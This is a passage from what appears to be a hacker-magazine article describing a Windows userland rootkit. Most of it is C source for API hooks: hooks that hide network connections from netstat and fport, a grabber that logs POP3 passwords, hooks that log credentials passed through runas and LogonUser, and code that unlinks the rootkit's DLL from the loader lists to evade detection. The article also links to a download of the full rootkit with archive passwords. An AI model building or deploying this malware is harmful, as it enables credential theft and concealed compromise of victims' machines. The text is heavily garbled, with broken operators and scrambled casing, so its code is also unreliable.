MIB_TCPTABLE structure. A sample retrieving the TCP connection table is available online. [GETTCP] The . MIB_TCPTABLE structure contains a table of TCP connections typedef struct _MIB_TCPTABLE {DWORD dwNumEntries; MIB_TCPROW table [ANY_SIZE];} MIB_TCPTABLE, * PMIB_TCPTABLE; table is a pointer to a table of TCP connections implemented as an array of MIB_TCPROW structures, one for each connection . A MIB_TCPROW stands as follows: typedef struct _MIB_TCPROW {DWORD dwState; DWORD dwLocalAddr; DWORD dwLocalPort; DWORD dwRemoteAddr; DWORD dwRemotePort;} MIB_TCPROW, * PMIB_TCPROW; While the dwState describes the state of a given connection, dwLocalAddr, dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and destination of the connection. We're interested in dwLocalPort and dwRemotePort to determine if the port belongs to the secret range (between RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) AND Theefore Must Be Hidden. To Hide a Row In Tcp Table If Needed, The Mygettcptable Function Shifts The Whole Array, Thus Overwriting The Unwanted Memory Zone. ------------------------------------------------------------------------------------------------------------ . --- / * MyGetTcpTable replacement for GetTcpTable (error checks stripped) * / DWORD WINAPI MyGetTcpTable (PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL bOrder) {u_long LocalPort = 0; / * remote port on local machine endianness * / u_long RemotePort = 0 ; / * local port on local machine endianness * / DWORD dwRetVal = 0, numRows = 0; / * counters * / int i, j; / * Call original function, if no error, strip unwanted MIB_TCPROWs * / dwRetVal = (* fGetTcpTable (PTCPTable, PDWSIZE, BORDER); if (dwretval == no_error) {/ * for each row, test if it must be stripped * / for (i = 0; i <(int) ptcptable-> dwnumentries; i ) { Localport = (u_short) FHTONS ((u_short) -> Table [i] .dwlocalport; RemotEport = (u_short) FHtons ((ptcptable) -> Table [i] .dwremoteport); / * If Row Must Be Filtered * / IF (Ishidden (Localport, Remoteport) {/ * Shift Whole Array * / for (J = i; J <((int) ptcptable-> dwnumentries - 1); J ) Memcpy & (Ptcptable-> Table [i]), & (PTCPTable-> Table [i 1]), SIZEOF (MIB_TCPROW_)); / * ERASE LAST ROW * / MEMSET (& (PTCPTable-> Table [J]), 0x00, SIZEOF (MIB_TCPROW_)); / * Reduce array size * / (* pdwsize) - = sizeof (mib_tcprow_); (ptcptable-> dwnumentries) -;}}} Return dwretval;} ---------------------- End Example 8 --------------------- ------------ Calling GetTcpTable is not the only way to get network statistics under windows 2000. Some programs, such as fport even provide the correspondence stream / pid and therefore deal directly with the TCP driver through the DeviceIoControl function. Hijacking this API is not a good idea as I explained before. In consequence, the approach I adopted is to target specific functions used by widespread security tools rather than hooking a level lower by replacing DeviceIoControl .------- [4.4.1.2. Defeating netstat In this version of windows , fport is not the only one that deals directly with the TCP / UDP driver. This is also the case of netstat. to defeat these programs, we just have to replace functions that are involved in network statistic processing from DeviceIoControl call to screen output . With netstat, the idea is to hook the chartooembuffa api this is buy to perform characters set translations for Each Line Before It is Written to Console Output. BOOL CharToOemBuff (LPCTSTR lpszSrc, / * Pointer to the null-terminated string to translate. * / LPSTR lpszDst, / * Pointer to the buffer for the translated string. * / DWORD cchDstLength / * Specifies the number of TCHARs to translate * /) ; If The rootkit notices itself being translating a string containing a hidden ports, IT Just Calls, IT Just Calls, So The Translation Will Result In A Blank Buffer, and Output Won't show anything. ------------------------------------------------------------------------------------------------------------ --- / * MyCharToOemBuffA: replace the function used by nestat to convert strings to a different charset before it sends it to output, so we can get rid of some awkward lines ... :) * / BOOL WINAPI MyCharToOemBuff (LPCTSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength) {/ * If the line contains our port range, we simply get rid of it. * / if (strstr (lpszSrc, (char *) RTK_PORT_HIDE_STR)! = NULL) {/ * We call the function, Providing a blank string * / return (* fchartooembuffa) (", lpszdst, cchdstlength);} return (* fchartooembuffa) (lpszsrc, lpszdst, cchdstlength);} --------------- ------- End Example 9 ---------------------------- As Netstat Calls The Function for Each Line It Writes, There is not problem in avoiding whole ones. ------- [4.4.1.2. Defeating Fport However, this is not the case of fport, Which processes Output Character by Character. I Chose to Hook The Writefile API, AND SET UP A Buffer Mechanism So Output Is Done Line By line, and hiding thereforealog. ----------------------------------------------------------------------------------------------------------- --- / * Convert FPORT.exe's output mode from char by char to line by line to allow hiding of lines containing ports to hide * / BOOL WINAPI MyWriteFile (hANDLE hFile, / * handle to file to write to * / LPCVOID lpBuffer, / * pointer to data to write to file * / DWORD nNumberOfBytesToWrite, / * number of bytes to write * / LPDWORD lpNumberOfBytesWritten, / * pointer to number of bytes written * / LPOVERLAPPED lpOverlapped / * pointer to structure for overlapped) I / O * / {BOOL BRET = True; / * return value * / char * chr = (char *) lpbuffer; static dword total_len = 0; / * static length counter * / static char previouschars [2048 * 10]; / * static characters' Buffer (BOF?) * // * add the new character * / previouschars [Total_Len ] = chr [0]; / * check for line termination * / if (chr [0] == '/ r') { Previouschars [Total_Len] = '/ n'; Previouschars [ Total_Len] = '/ 0'; / * Show this line only if it contains no hidden port / process prefix * / if (strstr ((char *) PreviousChars, (char *) RTK_PORT_HIDE_STR) == NULL && strstr ((char *) PreviousChars, (char *) RTK_PROCESS_CHAR ) == NULL) { / * Valid line, so process output * / bret = fwritefile (hfile, (void *) Previouschars, Strlen ((char *) Previouschars, lpnumberofbyteswritten, lpoverlapped;} / * Clear settings * / memset (Previouschars, 0, 2048); Total_len = 0; / * Fakes the var, so fport can't See Output Wasn't Done * / (* lpnumberofbyteswritten = nnumberofbytestowrite; Return Bret;} ---------------------- End Example 10 --------------------- ------------ ------- [4.4.2. The case of windows XP Under windows XP programs have not to deal with hell by interacting directly the TCP / UDP driver as the windows API provides sufficient statistics. Thus, the most widespread network tools (netstat, Fport, Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on the classic GetTcpTable depending on the needs. So, to cover the problem under windows XP, the rootkit has just to replace the AllocateAndGetTcpEx TableFromStack API. Searching the msdn about this functions is useless. This is an undocumented function. However it exists some useful samples on the web such as [NETSTATP] provided by SysInternals that are quite explicit. The AllocateAndGetTcpExTableFromStack function takes the following parameters.DWORD AllocateAndGetTcpExTableFromStack (PMIB_TCPEXTABLE * pTcpTable, / * Buffer for the connection table * / bool border, / * sort the table? * / handle heap, / * handle to process Heap Obtained by calling getprocessheap () * / dword ZERO, / * undocumented * / DWORD flags / * undocumented * /) THE FIRSTING. It Points to a MIB_TCPEXTABLE Structure, That Stands for PMIB_TCPTABLE Extended, Looking As Follows. / * Undocumented extended information structures available only on XP and higher * / typedef struct {DWORD dwState; / * state of the connection * / DWORD dwLocalAddr; / * address on local computer * / DWORD dwLocalPort; / * port number on local computer * / DWORD dwRemoteAddr; / * address on remote computer * / DWORD dwRemotePort; / * port number on remote computer * / DWORD dwProcessId; / * process identifier * /} MIB_TCPEXROW, * PMIB_TCPEXROW; Typedef struct {dWord dwnumentries; mib_tcpexrow table [];} mib_tcpextable, * pmib_tcpextable; THIS IHE SAME As the Structures Employed to Work with Gettcptable, So The Replacement Function's Job Will Be Homewhat Identical. ---------------------- Example 11 --- -------------------------- / * AllocateAndGetTcpExTableFromStack replacement. (error checks stripped) * / DWORD WINAPI MyAllocateAndGetTcpExTableFromStack (PMIB_TCPEXTABLEE * pTcpTable, BOOL bOrder, HANDLE HEAP, DWORD ZERO, DWORD FLAGS) {/ * Error Handler, TCPTable Walk Index, TcPtable Sort Index * / DWORD ERR = 0, I = 0, J = 0; Char Psname [512]; / * Process Name * / U_long localport = 0, Remoteport = 0; / * local & transote port * / / * Call Genuine Function ... * / err = FallocateandGetTcPextableFromstack (PTCPTable, Border, Heap, Zero, Flags); / * EXIT IMMEDIATELY ON Error * / if (ERR) Return Err; / * ... and start to filter unwanted rows. this will hide all open / listening / connection / ... Sockets That Belong to secret processing * / / * for each process ... * ... * / / * for each process ... * ... * / / * for each process ... * ... SOCKETS THATE BELONG TO Secret Range Or Reside PROCESS * / / * / for (i = 0; i <(* ptcptable) -> dwnumentries); j = i) {/ * get process name to filter secret processes' sockets * / getProcessNameByPID ((* ptcptable) -> Table [i]. DWProcessID, (char *) psname); / * Convert from host to TCP / IP Network BYTE ORDER (WHICH IS BIG-Endian) * / localport = (u_short) fHtons ((u_short) (* ptcptable) -> Table [i] .dwlocalport); Remoteport = (u_short) fHtons ((u_short) (* ptcptable) -> Table [i] .dwremoteport); / * Decide WHETHER to HIDE ROW OR not * / if (! _Strnicmp ((char *) psname, RTK_FILE_CHAR, STRLEN (RTK_FILE_CHAR)) || Ishidden (LocalPort, Remoteport) {/ * Shift Whole Array * / for (j = i; j <(* ptcptable) -> dwnumentries); J ) Memcpy (& (* ptcptable) -> Table [J])), (& (* ptcptable) -> Table [J 1]) ), SIZEOF (MIB_TCPEXROWEX); / * CLEAR LAST ROW * / MEMSET ((& (* Ptcptable) -> Table [((* ptcptable) -> dwnumentries) -1)]), 0, Sizeof (MIB_TCPEXROWEX )); / * Decrease row number * / (* ptcptable) -> dwnumentries) - = 1; / * do the Job Again for The Current Row, That May Also Contain A Hidden Process * / Continue;} / * This Row WAS OK, Jump to the next * / i ;} return err;} -------------------- End Example 11 ----- --------------------------------------------------------------------------------------------------------------------------------------- The release process functions reside in kntinethide.c. ------- [4.5. Global TCP backdoor / password grabber As the rootkit is injected in almost every user process, there's a possibility to set up a global TCP backdoor by hijacking recv and WSARecv, allowing transforming any application (including a web server), into an opportune backdoor. This is complicated enough to be a whole project in itself so I focused on a password grabber virtually able to hijack passwords sent by any mail client [kSENTINEL]. Currently, it targets at Outlook and Netscape mail client but may easily be extended to other applications by playing with the #defines. It dynamically hijacks the TCP stream when the mail client deals with remote server. Therefore, it allows to grab USER and PASS commands to be used for later privileges escalation. -------------------------------------------------------------------------------------------------------------------------- --- / * POP3 Password Grabber. Replaces the send () socket function. * / Int WinApi Mysend (Socket S, Const Char Far * BUF, INT LEN, INT FLAGS) {int RetVal = 0; / * Return Value * / Char * packet; / * temporary buffer * / if (! fsend) / * No One lives for Ever (Error Check) * / Return 0; / * Call Original Function * / RetVal = FSEND (S, BUF, LEN, FLAGS); / * packet is a Temp buffer use to deal with the buf parameter trias May be in a Different Memory Segment, So We use the following memcpy trick. * / packet = (char *) Malloc ((len 1) * sizeof (char) )); MEMCPY (Packet, BUF, LEN); / * Check if memory is readable * / if (! Isbadstringptr (packet, len)) {/ * filter intending packets (POP3 protocol) * / if (strstr (Packet, "User") || strstr (Packet, "PASS" )) {/ * Intending packet found! * / / * WRITE A STRING to logfile (% user profile% / ntillusion_passlog_file) * / Output2logfile ("'% s' / n", packet);}} Free (packet); Return RetVal;} ---------------------- End Example 12 --------------------- ------------ FTP logins and passwords may also be grabled by adding the property expression in the filter condition. ------- [4.6. Privilege escalation Catching POP3 and FTP passwords may allow spreading on the local machine since users often use the same password on different accounts. Anyway when grabbing a password used to login as another user on the machine, there's no doubt that the password will be efficient. Indeed, the rootkit logs attempts to impersonate another user from the desktop. This is the case when the user employs the runas command or selects "the run as user" menu by right clicking on an executable . The API involved in these situations are redirected so any successful login is carefully saved on hard disk for further use. This is achieved through the replacement of LogonUserA and CreateProcess WithLogonW.The runas tool present on windows 2000 / XP relies on CreateProcessWith LogonW. Its Replacement Follows. --------------------------------------------------- --- / * MyCreateProcessWithLogonW: collects logins / passwords employed to create a process as a user This Catches runas passwords (runas / noprofile / user: MyBox / User cmd).. * / BOOL WINAPI MyCreateProcessWithLogonW (LPCWSTR lpUsername, / * user name for log in request * / LPCWSTR lpDomain, / * domain name for log in request * / LPCWSTR lpPassword, / * password for log in request * / DWORD dwLogonFlags, / * logon options * / LPCWSTR lpApplicationName, / * application name ... * / LPWSTR lpCommandLine, / * command line * / DWORD dwCreationFlags, / * refer to CreateProcess * / LPVOID lpEnvironment, / * environment vars * / LPCWSTR lpCurrentDirectory, / * base directory * / LPSTARTUPINFOW lpStartupInfo, / * startup and process infor, see CreateProcess * / LPPROCESS_INFORMATION lpProcessInfo) {BOOL bret = false; / * Return value * / char line [1024]; / * Buffer used to set up log lines * // * 1st of all, log on the user * / bret = fCreateProcessWithLogonW (LPUSERNAME , lpdomain, lppassword, dwlogonflags, lpapplicationname, lpcommandline, dwcreationflags, lpenvironment, lpcurrentdirectory, lpstartupinfo, lpprocessinfo; / * Inject the created process if its name doesn't begin by rtk_file_char (protected process) * / / * stripped [...] * / / * Log the information for further use * / memset (line, 0, 1024); if (bret) {sprintf (line, "Domain '% s' - login '% s' - Password '% s'? Logon success" , lpdomain, lpusername, lpassword;} else {sprintf (line, "domain '% s' - login '% s' - password '% s'? logon failed", LPDOMAIN, LPUSERNAME, LPPASSWORD); / * Log the line * / output2logfile ((char *) line); Return Bret;} --------------------- End Example 13 --------------------- -------- Under windows XP, explorer.exe offers a GUI to perform logon operations from the desktop. This relies on LogonUser that may be replaced as below. We're interested only in lpszUsername, lpszDomain and lpszPassword. -------------------------------------------------- --- / * MyLogonUser: collects logins / passwords employed to log on from the local station * / BOOL WINAPI MyLogonUser (LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, pHANDLE phToken) {char buf [1024]; / * Buffer use to set up log lines * / / * SET UP buffer * / MEMSET (BUF, 0, 1024); Sprintf (buf, "login '% s' / passwd'% s' / domain '/ n", lpszusername, lpszpassword, lpszdomain; / * Log to disk * / output2logfile ((char *) BUF); / * Perform logonuser Call * / return Flogonuser (LPSZUSERNAME, LPSZDOMAIN, LPSZPASSWORD, DWLOGONTYPE, DWLOGONPROVIDER, PHTOKEN);} -------------------- End Example 14 - ---------------------------- ......... ------- [4.7. Module stealth As soon as it is loaded into a process, the rootkit hides its DLL. Therefore, if the system does not hook LdrLoadDll or its equivalent at kernel level, it appears that the rookit was never injected into processes. The technique used below is very efficient against all programs that rely on the windows API for enumerating modules. Due to the fact that EnumProcessModules / Module32First / Module32Next / ... depend on NtQuerySystem Information, and because this technique foils the manner this API retrieves information, there's no way to be detected by this intermediary. This defeats programs enumerating processes' modules such as ListDlls, ProcessExplorer (See [LISTDLLS] and [pROCEXP]), and VICE rootkit detector. [VICE] The deception is possible in ring 3 since the kernel maintains a list of each loaded DLL for a given process inside its memory space, in userland. Therefore a process may affect himself and overwrite parts of its memory in order to hide one of its mod . Ule These data structures are of course undocumented but can be recovered by using the Process Environment Block (PEB), located at FS:. 0x30 inside each process The function below returns the address of the PEB for the current process. ------------------------------------------------------------------------------------------------------------ --- DWORD GETPEBBASE = NULL; / * RETURN PEB ADDRESS for Current Process Address Is Located At Fs: 0x30 * / __ASM {Push Eax Mov Eax, FS: [0x30] MOV [dWPEBBASE], EAX POP Eax} return (dword) dWpebBase;} ----------------------- EXAMPLE 15 ---------------------------------------------------------------------------------------------------------- ------------- . The role of the PEB is to gather frequently accessed information for a process as follows At address FS: 0x30 (or 0x7FFDF000) stands the following members of the [PEB] ./* located at 0x7FFDF000 * / typedef struct _PEB {BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS processParameters; [...] ULONG SessionId;} PEB, * PPEB; . In..................... typedef struct _PEB_LDR_DATA {ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList;} PEB_LDR_DATA, * PPEB_LDR_DATA; The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly linked lists gathering information on loaded DLL in the current process. InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList in memory order, and InInitializationOrderModuleList keeps track of their load order since process start. THESE DOUBLY LINKED LIST Contains Pointers To LDR_Module Inside The Parent Structure for Next and Previous Module. TYPEDEF STRUCT _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_Module, * PLDR_Module; In fact, this is not exactly true since LIST_ENTRY have a special behavior. Indeed, the base address of the surrounding object is computed by subtracting the offset of the LIST_ENTRY member from it's address (& LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to the another LIST_ENTRY inside the list, not to the owner of the list node. This makes it possible to interlink objects in multiple lists without any interference as explains Sven B. Schreiber in Undocumented Windows 2000 Secrets. to access InLoadOrderModuleList elements, we do not have to bother about offsets since it is the first element of the LDR_MODULE structure so it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the case of InMemoryOrderModuleList we'll have to subtract sizeof (LIST_ENTRY). Similarly, to access The LDR_Module from IninitializationOrderModuleList We Just Subtract 2 * SizeOf (List_entry). The Following Sample Demonstrates How To Walk ONE The Lists and throw a Module AWA Y According to Its Name (szdlltostrip). ----------------------------------------- ------------ / * Walks one of the three modules double linked lists referenced by the PEB (error check stripped) ModuleListType is an internal flag to determine on which list to operate: LOAD_ORDER_TYPE <--- > InLoadOrderModuleList MEM_ORDER_TYPE <---> InMemoryOrderModuleList INIT_ORDER_TYPE <---> InInitializationOrderModuleList * / int WalkModuleList (char ModuleListType, char * szDllToStrip) {int i; / * internal counter * / DWORD PebBaseAddr, dwOffset = 0; / * Module List Head and ITERATING POINTER * / PLIST_ENTRY PUSERMODULISTHEAD, PUSERMODULISTPTR; / * PEB-> PEB_LDR_DATA * / PPEB_LDR_DATA pLdrData; / * Module (s) name in UNICODE / AINSI * / PUNICODE_STRING pImageName; char szImageName [BUFMAXLEN]; / * First, get Process Environment Block * / PebBaseAddr = GetPEB (0); / * Compute PEB-> PEB_LDR_DATA * / PLDRDATA = (PPEB_LDR_DATA) (* (DWORD *) (PEBBASEADDR PEB_LDR_DATA_OFFSET); / * Init linked list head and offset in LDR_MODULE structure * / if (ModuleListType == LOAD_ORDER_TYPE) {/ * InLoadOrderModuleList * / pUserModuleListHead = pUserModuleListPtr = (PLIST_ENTRY) (& (pLdrData-> ModuleListLoadOrder)); dwOffset = 0x0;} else if (ModuleListType == MEM_ORDER_TYPE) {/ * InMemoryOrderModuleList * / pUserModuleListHead = pUserModuleListPtr = (PLIST_ENTRY) (& (pLdrData-> ModuleListMemoryOrder)); dwOffset = 0x08;} else if (ModuleListType == INIT_ORDER_TYPE) {/ * InInitializationOrderModuleList * / pUserModuleListHead = PusermoduListPtr = (PLIST_ENTRY) (& (PLDRDATA-> ModuleListInitOrder); dwoffset = 0x10;} / * Now walk the selected list * / do {/ * Jump to next LDR_MODULE structure * / pUserModuleListPtr = pUserModuleListPtr-> Flink; pImageName = (PUNICODE_STRING) (((DWORD) (pUserModuleListPtr)) (LDR_DATA_PATHFILENAME_OFFSET-dwOffset)); / * Decode unicode string to limited = 0; i <(pimagename-> length) / 2 && i / * Check if it's target dll * / if (strstr ((char *) szimagename, szdlltostrip)! = 0) {/ * hide this dll: throw this module away (out of the double linked list) (PuserModuListptr-> BLINK) -> Flink = (pUserModuleListPtr-> Flink); (pUserModuleListPtr-> Flink) -> Blink = (pUserModuleListPtr-> Blink); / * Here we may also overwrite memory to prevent recovering (paranoid only; p) * /}} while (PuserModuleListptr-> flink! = punmodulelisthead; returnif_success;} --------------------- End Example 16 ----------- ------------------ To process the three linked lists, the rootkit calls the hidedll function below. --------------------- Example 17 ----------- ------------------ int HideDll (char * szDllName) {return (WalkModuleList (LOAD_ORDER_TYPE, szDllName) && WalkModuleList (MEM_ORDER_TYPE, szDllName) && WalkModuleList (INIT_ORDER_TYPE, szDllName)); } ---------------------- End Example 17 ------------------------ ----- I never saw this method employed to hide a module but instead to recover the base address of a DLL in elaborated shellcodes [PEBSHLCDE]. To end with this technique, I'll say that it is from far efficient against ring 3 programs but becomes a little bit ineffective against a personal firewall acting at kernel level, such as Sygate Personal Firewall. This one can not be defeated using the presented method and analysis of its source code shows as it sets hooks in the kernel syscall table, thereby being informed as soon as A DLL Is Loaded Into Any Process And Subsequent Hiding IS Useless. in A Word, Personal Firewalls Are The Worst Enemies of Userland Rootkits. ------- [5. Ending ------- [5.1. Conclusion The Mechanisms Presented in This Paper Are The Result of Long Research And Experimentations It Shows Up That Ring 3 Rootkit Are An Effective Threat For Nowadays computer systems but may be defeated by a clever analysis of the weakpoints they target. So this type of rootkit is not perfect as data may still be detected, even though they're from far more difficult to notice. Keep in mind that the most important thing is not to cause suspicion, and therefore not be detected. In a word, ring 3 rootkits are perfect meantime to get administrative privilege on the local machine and install a most adapted ring 0 rootkit that will be more suitable to reach the maximum stealth . ------- [5.2. Greets "et al.." This quotation from isaac newton (1676) Perfectly Describes the Ways Things Work. Therefore, My Thanks First Go To all authors this make the Internet a place of free information and exchang . Es Without them you would probably not be reading these lines This is especially true for Ivo Ivanov -. Thanks to you I discovered the world of API hooking -, Crazylord who provided me precious information to set up my first device driver, Holy_Father and Eclips for considering some questions about userland take over Added to that, I'd like to thank my friends and revisers that helped me set up a more accessible paper I hope this goal is achieved Finally, I salute my friends and teammates;... you Know Who You are. Special Thanks to my buddy and personal unix consultant artyc. That's all folks! "I Tried So Hard, And Gone So Far. But in the end, it doesn 抰 Even matter ..." Kdm kodmaker@syshell.org http://www.syshell.org/----- [6. References - [1] http://www.systemshell.org/?r=../phrack62/ntillusion_fullpack .txt - [ntillusion rootkit] http://www.syshell.org/?r=../phrack62/ntillusion.rar login / pass: phrackreaders / ph4e # ho5 rar password: 0Wnd4Wurld - [hidingen] http: // rootkit .host.sk / knowhow / hidingen.txt - [hooks] a howto for setting system wide hook http://www.codeguru.com/cpp/wp/system/misc/Article.php/c5685/ [msdn_hook] HTTP : //msdn.microsoft.com/library/default.asp url = / library / en-us / winui / WinUI / WindowsUserInterface / Windowing / Hooks.asp - [3WAYS] Three ways to inject your code into another process http?: //www.codeguru.com/cpp/wp/system/procesModules/Article.php/c5767/ - [LSD] Win32 Assembly Components http://www.lsd-pl.net/documents/winasm-1.0.1.pdf - [THCONTEXT] GetThreadContext remote code triggering proof of concept http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxIn ject / - [REMOTETH] http://win32.mvps.org/processes/remt Hread.html - [PE] http://www.syshell.org/?r=rootkit/pe/doc/mattpietrek - [ivanov] http://www.codeguru.com/cpp/wp/system/misc/article .php / c5667 / - [UNLEASHED] http://www.codeproject.com/system/api_monitoring_unleashed.asp - [DETOURS] Detours win32 functions interception http://research.microsoft.com/sn/detours/ [HKDEF_RTK] Hacker Defender rootkit http://rootkit.host.sk/ - [hkdef] Hacker Defender (HOLY_FATHER 2002) http://rootkit.host.sk/knowhow/hookin.txt - [zombie2] entry point correcting http: // www. syshell.org/?r=rootkit/api_hijack/code/entrypointrewritting/ - [Exploriat] http://www.syshell.org/?r=